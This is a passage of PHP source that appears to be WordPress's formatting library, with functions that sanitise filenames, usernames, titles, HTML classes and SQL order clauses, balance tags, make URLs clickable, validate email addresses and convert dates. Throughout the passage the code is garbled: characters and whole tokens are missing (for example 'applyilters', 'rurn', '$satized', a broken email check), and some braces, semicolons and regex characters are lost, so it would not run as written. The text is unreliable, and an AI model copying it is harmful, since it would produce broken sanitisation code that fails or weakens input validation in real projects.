with a single dash. Trim period, dash and underscore from beginning * and end of filename. * * @since 2.1.0 * * @param string $filename The filename to be sanitized * @return string The sanitized filename */ function sanitize_file_nam $filename ) { $filename_raw = $filename; $special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}", chr(0)); $special_chars = apply_filters('sanitize_file_name_chars', $special_chars, $filename_raw); $filename = str_replace($special_chars, '', $filename); $filename = preg_replace('/[\s-]+/', '-', $filename); $filename = trim($filename, '.-_'); // Split the filename into a base and extension[s] $parts = explode('.', $filename) // Return if only one extension if ( count($parts) <= 2 ) return apply_filters('sanitize_file_name', $filename, $filename_raw); // Process multiple extensions $filename = array_shift($parts); $extension = array_pop($parts); $mimes = get_allowed_mime_types(); // Loop over any intermediate extensions. Munge them with a trailing underscore if they are a 2 - 5 character // long alpha string not in the extension whitelist. foreach ( (array) $parts as $part) { $filename .= '.' . $part; if ( preg_match("/^[a-zA-Z2,5}\d?$/", $part) ) { $allowed = false; foreach ( $mimes as $ext_preg => $mime_match ) { $ext_preg = '!^(' . $ext_preg . ')$!i'; if ( preg_match( $ext_preg, $part ) ) { $allowed = true; break; } } if ( !$allowed ) $filename .= '_'; } } $filename .= '.' . $extension; return apply_filters('sanitize_file_name', $filename, $filename_raw); } /** * Sanitize username stripping out unsafe characters. * * Removes tags, octets, entities, and if strict is enabled, will only keep * alphameric, _, space, ., -, @. After sanitizing, it passes the username, * raw username (the username in the parameter), and the value of $strict as * parameters for the 'sanitize_user' filter. * * @since 2.0.0 * @uses apply_filters() Calls 'sanitize_user' hook on username, raw username, * and $strict parameter. * * @param string $username The username to be sanitized. * @param bool $strict If set limits $username to specific characters. Default false. * @return string The sanitized username, after passing through filts. */ function sanitize_user( $username, $strict = false ) { $raw_username = $username; $username = wp_strip_all_tags( $username ); $username = remove_accents( $username ); // Kill octets $username = preg_replace( '|%([a-fA-F0-9][a-fA-F0-9])|', '', $username ); $username = preg_replace( '/&.+?;/', '', $username ); // Kill entities // If strict, reduce to ASCII for max portability. if ( $strict ) $username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username ); $username = trim( $username ); // Consolidate contious whitespace $username = preg_replace( '|\s+|', ' ', $username ); return apply_filters( 'sanitize_user', $username, $raw_username, $strict ); } /** * Sanitize a string key. * * Keys are used as internal identifiers. Lowercase alphanumeric characters, dashes and underscores are allowed. * * @since 3.0.0 * * @param string $key String key * @return string Sanitized key */ function sanitize_key( $key ) { $raw_key = $key; $key = strtolower( $key ); $key = preg_replace( '/[^a-z0-9_\-]/', '', $key ); return applyilters( 'sanitize_key', $key, $raw_key ); } /** * Sanitizes title or use fallback title. * * Specifically, HTML and PHP tags are stripped. Further actions can be added * via the plugin API. If $title is empty and $fallback_title is set, the latter * will be used. * * @since 1.0.0 * * @param string $title The string to be sanitized. * @param string $fallback_title Optional. A title to use if $title is empty. * @param string $context Optional. The operation for which the string is sanitized * @return string The satized string. */ function sanitize_title($title, $fallback_title = '', $context = 'save') { $raw_title = $title; if ( 'save' == $context ) $title = remove_accents($title); $title = apply_filters('sanitize_title', $title, $raw_title, $context); if ( '' === $title || false === $title ) $title = $fallback_title; return $title; } function sanitize_title_for_query($title) { return sanitize_title($title, '', 'query'); } /** * Sanitizes title, replacing whitespace and a few other characters with dashes. * * Limi the output to alphanumeric characters, underscore (_) and dash (-). * Whitespace becomes a dash. * * @since 1.2.0 * * @param string $title The title to be sanitized. * @param string $raw_title Optional. Not used. * @param string $context Optional. The operation for which the string is sanitized. * @return string The sanitized title. */ function sanitize_title_with_dashes($title, $raw_title = '', $context = 'display') { $title = strip_tags($title); // Preserve escaped octets. $title = preg_replace('|%([a-fA-F0-9]-fA-F0-9])|', '---$1---', $title); // Remove percent signs that are not part of an octet. $title = str_replace('%', '', $title); // Restore octets. $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title); if (seems_utf8($title)) { if (function_exists('mb_strtolower')) { $title = mb_strtolower($title, 'UTF-8'); } $title = utf8_uri_encode($title, 200); } $title = strtolower($title); $title = preg_replace('/&.+?;/', '', $title); // kill entities $title = str_replace('.', '-', $title); if (save' == $context ) { // Convert nbsp, ndash and mdash to hyphens $title = str_replace( array( '%c2%a0', '%e2%80%93', '%e2%80%94' ), '-', $title ); // Strip these characters entirely $title = str_replace( array( // iexcl and iquest '%c2%a1', '%c2%bf', // angle quotes '%c2%ab', '%c2%bb', '%e2%80%b9', '%e2%80%ba', // curly quotes '%e2%80%98', '%e2%80%99', '%e2%80%9c', '%e2%80%9d', '%e2%80%9a', '%e2%80%9b', '%e2%80%9e', '%e2%80%9f', // copy, reg, deg, hellip and trade '%c2%a9', '%c2%ae', '%c20', '%e2%80%a6', '%e2%84%a2', // grave accent, acute accent, macron, caron '%cc%80', '%cc%81', '%cc%84', '%cc%8c', ), '', $title ); // Convert times to x $title = str_replace( '%c3%97', 'x', $title ); } $title = preg_replace('/[^%a-z0-9 _-]/', '', $title); $title = preg_replace('/\s+/', '-', $title); $title = preg_replace('|-+|', '-', $title); $title = trim($title, '-'); return $title; } /** * Ensures a string is a valid SQL order by clause. * * Accepts one or more columns, with or without ASC/DESC, d also accepts * RAND(). * * @since 2.5.1 * * @param string $orderby Order by string to be checked. * @return string|bool Returns the order by clause if it is a match, false otherwise. */ function sanitize_sql_orderby( $orderby ){ preg_match('/^\s*([a-z0-9_]+(\s+(ASC|DESC))?(\s*,\s*|\s*$))+|^\s*RAND\(\s*\)\s*$/i', $orderby, $obmatches); if ( !$obmatches ) return false; return $orderby; } /** * Santizes a html classname to ensure it only contains valid characters * * Strips the string down to A-Z,a-z,0-9,_,-. this results in an empty * string then it will return the alternative value supplied. * * @todo Expand to support the full range of CDATA that a class attribute can contain. * * @since 2.8.0 * * @param string $class The classname to be sanitized * @param string $fallback Optional. The value to return if the sanitization end's up as an empty string. * Defaults to an empty string. * @return string The sanitized value */ function sanitize_html_class( $class, $fallback = '' ) { //Strip out any % encoded octets $satized = preg_replace( '|%[a-fA-F0-9][a-fA-F0-9]|', '', $class ); //Limit to A-Z,a-z,0-9,_,- $sanitized = preg_replace( '/[^A-Za-z0-9_-]/', '', $sanitized ); if ( '' == $sanitized ) $sanitized = $fallback; return apply_filters( 'sanitize_html_class', $sanitized, $class, $fallback ); } /** * Converts a number of characters from a string. * * Metadata tags <> and <<category>> are removed, <<br>> and <<hr>> are * converted into correct XHTML and Unicode characters are converted to the * valid range. * * @nce 0.71 * * @param string $content String of characters to be converted. * @param string $deprecated Not used. * @return string Converted string. */ function convert_chars($content, $deprecated = '') { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '0.71' ); // Translation of invalid Unicode references range to valid range $wp_htmltranswinuni = array( '€' => '€', // the Euro sign '' => '', '‚' => '‚', // these are Windows CP1252 specific characters 'ƒ' => '', // they would look weird on non-Windows browsers '„' => '„', '…' => '…', '†' => '†', '‡' => '‡', 'ˆ' => 'ˆ', '‰' => '‰', 'Š' => 'Š', '‹' => '‹', 'Œ' => 'Œ', '' => '', 'Ž' => 'Ž', '' => '', '' => '', '‘' => '‘', '’' => '’', '“' => '“', '”' => '”', '•' => '•', '–' => '–', '—' => '—', '˜' => '˜ '™' => '™', 'š' => 'š', '›' => '›', 'œ' => 'œ', '' => '', 'ž' => 'ž', 'Ÿ' => 'Ÿ' ); // Remove metadata tags $content = preg_replace('/<title>(.+?)<\/title>/','',$content); $content = preg_replace('/<category>(.+?)<\/category>/','',$content); // Converts lone & characters into & (a.k.a. &) $content = preg_replace('/&([^#])(?![a-z1-4]{1,8};)/i', '&$1', $content); // Fix Word pasting $content = strtr($content, $wp_htmltranswinuni // Just a little XHTML help $content = str_replace('<br>', '<br />', $content); $content = str_replace('<hr>', '<hr />', $content); return $content; } /** * Will only balance the tags if forced to and the option is set to balance tags. * * The option 'use_balanceTags' is used to determine whether the tags will be balanced. * * @since 0.71 * * @param string $text Text to be balanced * @param bool $force If true, forces balancing, ignoring the value of the option. Default false. * @return string Balanced text / function balanceTags( $text, $force = false ) { if ( !$force && get_option('use_balanceTags') == 0 ) return $text; return force_balance_tags( $text ); } /** * Balances tags of string using a modified stack. * * @since 2.0.4 * * @author Leonard Lin <leonard@acm.org> * @license GPL * @copyright November 4, 2001 * @version 1.1 * @todo Make better - change loop condition to $text in 1.2 * @internal Modified by Scott Reilly (coffee2code) 02 Aug 2004 * 1.1 Fixed handling of append/stack pop order of end text * Added Cleaning Hooks * 1.0 First Version * * @param string $text Text to be balanced. * @return string Balanced text. */ function force_balance_tags( $text ) { $tagstack = array(); $stacksize = 0; $tagqueue = ''; $newtext = ''; // Known single-entity/self-closing tags $single_tags = array( 'area', 'base', 'basefont', 'br', 'col', 'command', 'embed', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param', 'source' ); // Tags that can be immediately nested within themselves $nestable_tags = array( 'ockquote', 'div', 'object', 'q', 'span' ); // WP bug fix for comments - in case you REALLY meant to type '< !--' $text = str_replace('< !--', '< !--', $text); // WP bug fix for LOVE <3 (and other situations with '<' before a number) $text = preg_replace('#<([0-9]{1})#', '<$1', $text); while ( preg_match("/<(\/?[\w:]*)\s*([^>]*)>/", $text, $regex) ) { $newtext .= $tagqueue; $i = strpos($text, $regex[0]); $l = strlen($regex[0]); // clear the shifter $tagqueue = ''; // Pop or Push if ( isset($regex[[0]) && '/' == $regex[1][0] ) { // End Tag $tag = strtolower(substr($regex[1],1)); // if too many closing tags if( $stacksize <= 0 ) { $tag = ''; // or close to be safe $tag = '/' . $tag; } // if stacktop value = tag close value then pop else if ( $tagstack[$stacksize - 1] == $tag ) { // found closing tag $tag = '</' . $tag . '>'; // Close Tag // Pop array_pop( $tagstack ); $stacksize--; } else { // closing tag not at top, search for it for ( $j = $stacksize-1; $j >= 0; $j-- ) if ( $tagstack[$j] == $tag ) { // add tag to tagqueue for ( $k = $stacksize-1; $k >= $j; $k--) { $tagqueue .= '</' . array_pop( $tagstack ) . '>'; $stacksize--; } break; } } $tag = ''; } } else { // Begin Tag $tag = strtolower($regex[1]); // Tag Cleaning // If it's an empty tag "< >", do nothing if ( '' == $tag ) { // do nothing } // ElseIf it presents itself as a self-closing tag... elseif ( substr( $regex[2], -1 ) == '/' ) { // ...b it isn't a known single-entity self-closing tag, then don't let it be treated as such and // immediately close it with a closing tag (the tag will encapsulate no text as a result) if ( ! in_array( $tag, $single_tags ) ) $regex[2] = trim( substr( $regex[2], 0, -1 ) ) . "></$tag"; } // ElseIf it's a known single-entity tag but it doesn't close itself, do so elseif ( in_array($tag, $single_tags) ) { $regex[2] .= '/'; } // Else it's not a single-entity tag else { // If the top of the stacks the same as the tag we want to push, close previous tag if ( $stacksize > 0 && !in_array($tag, $nestable_tags) && $tagstack[$stacksize - 1] == $tag ) { $tagqueue = '</' . array_pop( $tagstack ) . '>'; $stacksize--; } $stacksize = array_push( $tagstack, $tag ); } // Attributes $attributes = $regex[2]; if( ! empty( $attributes ) && $attributes[0] != '>' ) $attributes = ' ' . $attributes; $tag = '<' . $tag . $attributes . '>'; //If already queuing a close tag, then put this tag ontoo if ( !empty($tagqueue) ) { $tagqueue .= $tag; $tag = ''; } } $newtext .= substr($text, 0, $i) . $tag; $text = substr($text, $i + $l); } // Clear Tag Queue $newtext .= $tagqueue; // Add Remaining text $newtext .= $text; // Empty Stack while( $x = array_pop($tagstack) ) $newtext .= '</' . $x . '>'; // Add remaining tags to close // WP fix for the bug with HTML comments $newtext = str_replace("< !--","<!--",$newtext); $newtext = str_replace("< !--","< !--",$newtext); return $newtext; /** * Acts on text which is about to be edited. * * The $content is run through esc_textarea(), which uses htmlspecialchars() * to convert special characters to HTML entities. If $richedit is set to true, * it is simply a holder for the 'format_to_edit' filter. * * @since 0.71 * * @param string $content The text about to be edited. * @param bool $richedit Whether the $content should not pass through htmlspecialchars(). Default false (meaning it will be passed). * @return string The text after the filter (and posbly htmlspecialchars()) has been run. */ function format_to_edit( $content, $richedit = false ) { $content = apply_filters( 'format_to_edit', $content ); if ( ! $richedit ) $content = esc_textarea( $content ); return $content; } /** * Holder for the 'format_to_post' filter. * * @since 0.71 * * @param string $content The text to pass through the filter. * @return string Text returned from the 'format_to_post' filter. */ function format_to_post($content) { $content = apply_filters('format_to_post', $content); rurn $content; } /** * Add leading zeros when necessary. * * If you set the threshold to '4' and the number is '10', then you will get * back '0010'. If you set the threshold to '4' and the number is '5000', then you * will get back '5000'. * * Uses sprintf to append the amount of zeros based on the $threshold parameter * and the size of the number. If the number is large enough, then no zeros will * be appended. * * @since 0.71 * * @param mixed $number Number to append zeros to if not greater than threshold. *param int $threshold Digit places number needs to be to not have zeros added. * @return string Adds leading zeros to number if needed. */ function zeroise($number, $threshold) { return sprintf('%0'.$threshold.'s', $number); } /** * Adds backslashes before letters and before a number at the start of a string. * * @since 0.71 * * @param string $string Value to which backslashes will be added. * @return string String with backslashes inserted. */ function backslashit($string) { $string = preg_replace('/^([0-9])/', '\\\\\\\1', $string); $string = preg_replace('/([a-z])/i', '\\\\\1', $string); return $string; } /** * Appends a trailing slash. * * Will remove trailing slash if it exists already before adding a trailing * slash. This prevents double slashing a string or path. * * The primary use of this is for paths and thus should be used for paths. It is * not restricted to paths and offers no specific path support. * * @since 1.2.0 * @uses untrailingslashit() Unslashes string if it was slashed already. * * @param string $ring What to add the trailing slash to. * @return string String with trailing slash added. */ function trailingslashit($string) { return untrailingslashit($string) . '/'; } /** * Removes trailing slash if it exists. * * The primary use of this is for paths and thus should be used for paths. It is * not restricted to paths and offers no specific path support. * * @since 2.2.0 * * @param string $string What to remove the trailing slash from. * @return string String without the trailing slash. */ function untrailislashit($string) { return rtrim($string, '/'); } /** * Adds slashes to escape strings. * * Slashes will first be removed if magic_quotes_gpc is set, see {@link * http://www.php.net/magic_quotes} for more details. * * @since 0.71 * * @param string $gpc The string returned from HTTP request data. * @return string Returns a string escaped with slashes. */ function addslashes_gpc($gpc) { if ( get_magic_quotes_gpc() ) $gpc = stripslashes($gpc); return esc_sql($gpc); } /** * Navigates through an array and removeslashes from the values. * * If an array is passed, the array_map() function causes a callback to pass the * value back to the function. The slashes from this value will removed. * * @since 2.0.0 * * @param mixed $value The value to be stripped. * @return mixed Stripped value. */ function stripslashes_deep($value) { if ( is_array($value) ) { $value = array_map('stripslashes_deep', $value); } elseif ( is_object($value) ) { $vars = get_object_vars( $value ); foreach ($vars as $key=>$data) { $value->{$key} =tripslashes_deep( $data ); } } elseif ( is_string( $value ) ) { $value = stripslashes($value); } return $value; } /** * Navigates through an array and encodes the values to be used in a URL. * * * @since 2.2.0 * * @param array|string $value The array or string to be encoded. * @return array|string $value The encoded array (or string from the callback). */ function urlencode_deep($value) { $value = is_array($value) ? array_map('urlencode_deep', $value) : urlencode($value); return $value; } /** * Navigateshrough an array and raw encodes the values to be used in a URL. * * @since 3.4.0 * * @param array|string $value The array or string to be encoded. * @return array|string $value The encoded array (or string from the callback). */ function rawurlencode_deep( $value ) { return is_array( $value ) ? array_map( 'rawurlencode_deep', $value ) : rawurlencode( $value ); } /** * Converts email addresses characters to HTML entities to block spam bots. * * @since 0.71 * * @param string $emailaddy Email address. * @param intmailto Optional. Range from 0 to 1. Used for encoding. * @return string Converted email address. */ function antispambot($emailaddy, $mailto=0) { $emailNOSPAMaddy = ''; srand ((float) microtime() * 1000000); for ($i = 0; $i < strlen($emailaddy); $i = $i + 1) { $j = floor(rand(0, 1+$mailto)); if ($j==0) { $emailNOSPAMaddy .= '&#'.ord(substr($emailaddy,$i,1)).';'; } elseif ($j==1) { $emailNOSPAMaddy .= substr($emailaddy,$i,1); } elseif ($j==2) { $emailNOSPAMaddy .= '%'.zeroise(dechex(ord(substr($emailaddy$i, 1))), 2); } } $emailNOSPAMaddy = str_replace('@','@',$emailNOSPAMaddy); return $emailNOSPAMaddy; } /** * Callback to convert URI match to HTML A element. * * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link * make_clickable()}. * * @since 2.3.2 * @access private * * @param array $matches Single Regex Match. * @return string HTML A element with URI address. */ function _make_url_clickable_cb($matches) { $url = $matches[2]; if ( ')' == $matches[3] && strpos( $url, '(' ) ) // If the trailing character is a closing parethesis, and the URL has an opening parenthesis in it, add the closing parenthesis to the URL. // Then we can let the parenthesis balancer do its thing below. $url .= $matches[3]; $suffix = ''; } else { $suffix = $matches[3]; } // Include parentheses in the URL only if paired while ( substr_count( $url, '(' ) < substr_count( $url, ')' ) ) { $suffix = strrchr( $url, ')' ) . $suffix; $url = substr( $url, 0, strrpos( $url, ')' ) ); } $url = esc_url($url); if ( pty($url) ) return $matches[0]; return $matches[1] . "<a href=\"$url\" rel=\"nofollow\">$url</a>" . $suffix; } /** * Callback to convert URL match to HTML A element. * * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link * make_clickable()}. * * @since 2.3.2 * @access private * * @param array $matches Single Regex Match. * @return string HTML A element with URL address. */ function _make_web_ftp_clickable_cb($matches) { $ret = ''; $dest = $matches[2]; $dest = 'http://' . $dest; $dt = esc_url($dest); if ( empty($dest) ) return $matches[0]; // removed trailing [.,;:)] from URL if ( in_array( substr($dest, -1), array('.', ',', ';', ':', ')') ) === true ) { $ret = substr($dest, -1); $dest = substr($dest, 0, strlen($dest)-1); } return $matches[1] . "<a href=\"$dest\" rel=\"nofollow\">$dest</a>$ret"; } /** * Callback to convert email address match to HTML A element. * * This function was backported from 2.5.0 to 2.3.2. Regex callback for {@link * make_clickable()}. * * @since 2.3.2 * @aess private * * @param array $matches Single Regex Match. * @return string HTML A element with email address. */ function _make_email_clickable_cb($matches) { $email = $matches[2] . '@' . $matches[3]; return $matches[1] . "<a href=\"mailto:$email\">$email</a>"; } /** * Convert plaintext URI to HTML links. * * Converts URI, www and ftp, and email addresses. Finishes by fixing links * within links. * * @since 0.71 * * @param string $text Content to convert URIs. * @return string Content with converted URIs. */unction make_clickable( $text ) { $r = ''; $textarr = preg_split( '/(<[^<>]+>)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE ); // split out HTML tags foreach ( $textarr as $piece ) { if ( empty( $piece ) || ( $piece[0] == '<' && ! preg_match('|^<\s*[\w]{1,20}+://|', $piece) ) ) { $r .= $piece; continue; } // Long strings might contain expensive edge cases ... if ( 10000 < strlen( $piece ) ) { // ... break it up foreach ( _split_str_by_whitespace( $piece, 2100 ) as $chunk ) { // 2100: Extra room for scheme a leading and trailing paretheses if ( 2101 < strlen( $chunk ) ) { $r .= $chunk; // Too big, no whitespace: bail. } else { $r .= make_clickable( $chunk ); } } } else { $ret = " $piece "; // Pad with whitespace to simplify the regexes $url_clickable = '~ ([\\s(<.,;:!?]) # 1: Leading whitespace, or punctuation ( # 2: URL [\\w]{1,20}+:// # Scheme and hier-part pfix (?=\S{1,2000}\s) # Limit to URLs less than about 2000 characters long [\\w\\x80-\\xff#%\\~/@\\[\\]*(+=&$-]*+ # Non-punctuation URL character (?: # Unroll the Loop: Only allow puctuation URL character if followed by a non-punctuation URL character [\'.,;:!?)] # Punctuation URL character [\\w\\x80-\\xff#%\\~/@\\[\\]*(+=&$-]++ # Non-punctuation URL character )* ) (\)?) # 3: Trailing closing parenthesis (for parethesis balancing post processing) ~xS'; // The regex is a non-anchored pattern and does not have a single fixed starting character. // Tell PCRE to spend more time optimizing since, when used on a page load, it will probably be used several times. $ret = preg_replace_callback( $url_clickable, '_make_url_clickable_cb', $ret ); $ret = preg_replace_callback( '#([\s>])((www|ftp)\.[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]+)#is', '_makeeb_ftp_clickable_cb', $ret ); $ret = preg_replace_callback( '#([\s>])([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})#i', '_make_email_clickable_cb', $ret ); $ret = substr( $ret, 1, -1 ); // Remove our whitespace padding. $r .= $ret; } } // Cleanup of accidental links within links $r = preg_replace( '#(<a( [^>]+?>|>))<a [^>]+?>([^>]+?)</a></a>#i', "$1$3</a>", $r ); return $r; } /** * Breaks a string into chunks by splitting at whitespace characters. * The length of each returned chunk is as close to the specied length goal as possible, * with the caveat that each chunk includes its trailing delimiter. * Chunks longer than the goal are guaranteed to not have any inner whitespace. * * Joining the returned chunks with empty delimiters reconstructs the input string losslessly. * * Input string must have no null characters (or eventual transformations on output chunks must not care about null characters) * * <code> * _split_str_by_whitespace( "1234 67890 1234 67890a cd 1234 890 123456789 1234567890a 45678 1 3 5 7 90 10 ) == * array ( * 0 => '1234 67890 ', // 11 characters: Perfect split * 1 => '1234 ', // 5 characters: '1234 67890a' was too long * 2 => '67890a cd ', // 10 characters: '67890a cd 1234' was too long * 3 => '1234 890 ', // 11 characters: Perfect split * 4 => '123456789 ', // 10 characters: '123456789 1234567890a' was too long * 5 => '1234567890a ', // 12 characters: Too long, but no inner whitespace on which to split * 6 => ' 45678 ', // 11 characters: Perfect split * 7 => '1 3 7 9', // 9 characters: End of $string * ); * </code> * * @since 3.4.0 * @access private * * @param string $string The string to split. * @param int $goal The desired chunk length. * @return array Numeric array of chunks. */ function _split_str_by_whitespace( $string, $goal ) { $chunks = array(); $string_nullspace = strtr( $string, "\r\n\t\v\f ", "\000\000\000\000\000\000" ); while ( $goal < strlen( $string_nullspace ) ) { $pos = strrpos( substr( $string_nullspace, 0, $goal + 1 ), "\000" ); if ( false== $pos ) { $pos = strpos( $string_nullspace, "\000", $goal + 1 ); if ( false === $pos ) { break; } } $chunks[] = substr( $string, 0, $pos + 1 ); $string = substr( $string, $pos + 1 ); $string_nullspace = substr( $string_nullspace, $pos + 1 ); } if ( $string ) { $chunks[] = $string; } return $chunks; } /** * Adds rel nofollow string to all HTML A elements in content. * * @since 1.5.0 * * @param string $text Content that may contain HTML A elements. * @return string Converted content. */ nction wp_rel_nofollow( $text ) { // This is a pre save filter, so text is already escaped. $text = stripslashes($text); $text = preg_replace_callback('|<a (.+?)>|i', 'wp_rel_nofollow_callback', $text); $text = esc_sql($text); return $text; } /** * Callback to used to add rel=nofollow string to HTML A element. * * Will remove already existing rel="nofollow" and rel='nofollow' from the * string to prevent from invalidating (X)HTML. * * @since 2.3.0 * * @param array $matches Single Match * @return string HTML A ement with rel nofollow. */ function wp_rel_nofollow_callback( $matches ) { $text = $matches[1]; $text = str_replace(array(' rel="nofollow"', " rel='nofollow'"), '', $text); return "<a $text rel=\"nofollow\">"; } /** * Convert one smiley code to the icon graphic file equivalent. * * Looks up one smiley code in the $wpsmiliestrans global array and returns an * <img> string for that smiley. * * @global array $wpsmiliestrans * @since 2.8.0 * * @param string $smiley Smiley code to convert to image. * @return strinImage string for smiley. */ function translate_smiley($smiley) { global $wpsmiliestrans; if (count($smiley) == 0) { return ''; } $smiley = trim(reset($smiley)); $img = $wpsmiliestrans[$smiley]; $smiley_masked = esc_attr($smiley); $srcurl = apply_filters('smilies_src', includes_url("images/smilies/$img"), $img, site_url()); return " <img src='$srcurl' alt='$smiley_masked' class='wp-smiley' /> "; } /** * Convert text equivalent of smilies to images. * * Will only convert smilies if the option 'use_smilies' itrue and the global * used in the function isn't empty. * * @since 0.71 * @uses $wp_smiliessearch * * @param string $text Content to convert smilies from text. * @return string Converted content with text smilies replaced with images. */ function convert_smilies($text) { global $wp_smiliessearch; $output = ''; if ( get_option('use_smilies') && !empty($wp_smiliessearch) ) { // HTML loop taken from texturize function, could possible be consolidated $textarr = preg_split("/(<.*>)/U", $text, -1, PREG_SPLIT_DELIM_CTURE); // capture the tags as well as in between $stop = count($textarr);// loop stuff for ($i = 0; $i < $stop; $i++) { $content = $textarr[$i]; if ((strlen($content) > 0) && ('<' != $content[0])) { // If it's not a tag $content = preg_replace_callback($wp_smiliessearch, 'translate_smiley', $content); } $output .= $content; } } else { // return default text. $output = $text; } return $output; } /** * Verifies that an email is valid. * * Does not grok i18n domains. Not RFC compliant. * * @sie 0.71 * * @param string $email Email address to verify. * @param boolean $deprecated Deprecated. * @return string|bool Either false or the valid email address. */ function is_email( $email, $deprecated = false ) { if ( ! empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '3.0' ); // Test for the minimum length the email can be if ( strlen( $email ) < 3 ) { return apply_filters( 'is_email', false, $email, 'email_too_short' ); } // Test for an @ character after the first position if ( strpos( $email, ', 1 ) === false ) { return apply_filters( 'is_email', false, $email, 'email_no_at' ); } // Split out the local and domain parts list( $local, $domain ) = explode( '@', $email, 2 ); // LOCAL PART // Test for invalid characters if ( !preg_match( '/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/', $local ) ) { return apply_filters( 'is_email', false, $email, 'local_invalid_chars' ); } // DOMAIN PART // Test for sequences of periods if ( preg_match( '/\.{2,}/', $domain ) ) { return apply_filters( 'is_email', false, $eil, 'domain_period_sequence' ); } // Test for leading and trailing periods and whitespace if ( trim( $domain, " \t\n\r\0\x0B." ) !== $domain ) { return apply_filters( 'is_email', false, $email, 'domain_period_limits' ); } // Split the domain into subs $subs = explode( '.', $domain ); // Assume the domain will have at least two subs if ( 2 > count( $subs ) ) { return apply_filters( 'is_email', false, $email, 'domain_no_periods' ); } // Loop through each sub foreach ( $subs as $sub ) { // Test for leading d trailing hyphens and whitespace if ( trim( $sub, " \t\n\r\0\x0B-" ) !== $sub ) { return apply_filters( 'is_email', false, $email, 'sub_hyphen_limits' ); } // Test for invalid characters if ( !preg_match('/^[a-z0-9-]+$/i', $sub ) ) { return apply_filters( 'is_email', false, $email, 'sub_invalid_chars' ); } } // Congratulations your email made it! return apply_filters( 'is_email', $email, $email, null ); } /** * Convert to ASCII from email subjects. * * @since 1.2.0 * * @param string $string Subjecline * @return string Converted string to ASCII */ function wp_iso_descrambler($string) { /* this may only work with iso-8859-1, I'm afraid */ if (!preg_match('#\=\?(.+)\?Q\?(.+)\?\=#i', $string, $matches)) { return $string; } else { $subject = str_replace('_', ' ', $matches[2]); $subject = preg_replace_callback('#\=([0-9a-f]{2})#i', '_wp_iso_convert', $subject); return $subject; } } /** * Helper function to convert hex encoded chars to ASCII * * @since 3.1.0 * @access private * @param array $match The pr_replace_callback matches array * @return array Converted chars */ function _wp_iso_convert( $match ) { return chr( hexdec( strtolower( $match[1] ) ) ); } /** * Returns a date in the GMT equivalent. * * Requires and returns a date in the Y-m-d H:i:s format. Simply subtracts the * value of the 'gmt_offset' option. Return format can be overridden using the * $format parameter. The DateTime and DateTimeZone classes are used to respect * time zone differences in DST. * * @since 1.2.0 * * @uses get_option() to retrie the the value of 'gmt_offset'. * @param string $string The date to be converted. * @param string $format The format string for the returned date (default is Y-m-d H:i:s) * @return string GMT version of the date provided. */ function get_gmt_from_date($string, $format = 'Y-m-d H:i:s') { preg_match('#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches); if ( ! $matches ) return date( $format, 0 ); $tz = get_option('timezone_string'); if ( $tz ) { date_default_timezo_set( $tz ); $datetime = date_create( $string ); if ( ! $datetime ) return date( $format, 0 ); $datetime->setTimezone( new DateTimeZone('UTC') ); $offset = $datetime->getOffset(); $datetime->modify( '+' . $offset / HOUR_IN_SECONDS . ' hours'); $string_gmt = gmdate($format, $datetime->format('U')); date_default_timezone_set('UTC'); } else { $string_time = gmmktime($matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1]); $string_gmt = gmdate($format, $string_time - get_option('gmt_fset') * HOUR_IN_SECONDS); } return $string_gmt; } /** * Converts a GMT date into the correct format for the blog. * * Requires and returns in the Y-m-d H:i:s format. Simply adds the value of * gmt_offset.Return format can be overridden using the $format parameter * * @since 1.2.0 * * @param string $string The date to be converted. * @param string $format The format string for the returned date (default is Y-m-d H:i:s) * @return string Formatted date relative to the GMT offset. */ function get_date_from_gmt($stng, $format = 'Y-m-d H:i:s') { preg_match('#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches); $string_time = gmmktime($matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1]); $string_localtime = gmdate($format, $string_time + get_option('gmt_offset') * HOUR_IN_SECONDS); return $string_localtime; } /** * Computes an offset in seconds from an iso8601 timezone. * * @since 1.5.0 * * @param string $timezone Either 'Z' for 0 offset or '±hhmm'. * @turn int|float The offset in seconds. */ function iso8601_timezone_to_offset($timezone) { // $timezone is either 'Z' or '[+|-]hhmm' if ($timezone == 'Z') { $offset = 0; } else { $sign = (substr($timezone, 0, 1) == '+') ? 1 : -1; $hours = intval(substr($timezone, 1, 2)); $minutes = intval(substr($timezone, 3, 4)) / 60; $offset = $sign * HOUR_IN_SECONDS * ($hours + $minutes); } return $offset; } /** * Converts an iso8601 date to MySQL DateTime format used by post_date[_gmt]. * * @since 1.5.0 * * @pam string $date_string Date and time in ISO 8601 format {@link http://en.wikipedia.org/wiki/ISO_8601}. * @param string $timezone Optional. If set to GMT returns the time minus gmt_offset. Default is 'user'. * @return string The date and time in MySQL DateTime format - Y-m-d H:i:s. */ function iso8601_to_datetime($date_string, $timezone = 'user') { $timezone = strtolower($timezone); if ($timezone == 'gmt') { preg_match('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', $datetring, $date_bits); if (!empty($date_bits[7])) { // we have a timezone, so let's compute an offset $offset = iso8601_timezone_to_offset($date_bits[7]); } else { // we don't have a timezone, so we assume user local timezone (not server's!) $offset = HOUR_IN_SECONDS * get_option('gmt_offset'); } $timestamp = gmmktime($date_bits[4], $date_bits[5], $date_bits[6], $date_bits[2], $date_bits[3], $date_bits[1]); $timestamp -= $offset; return 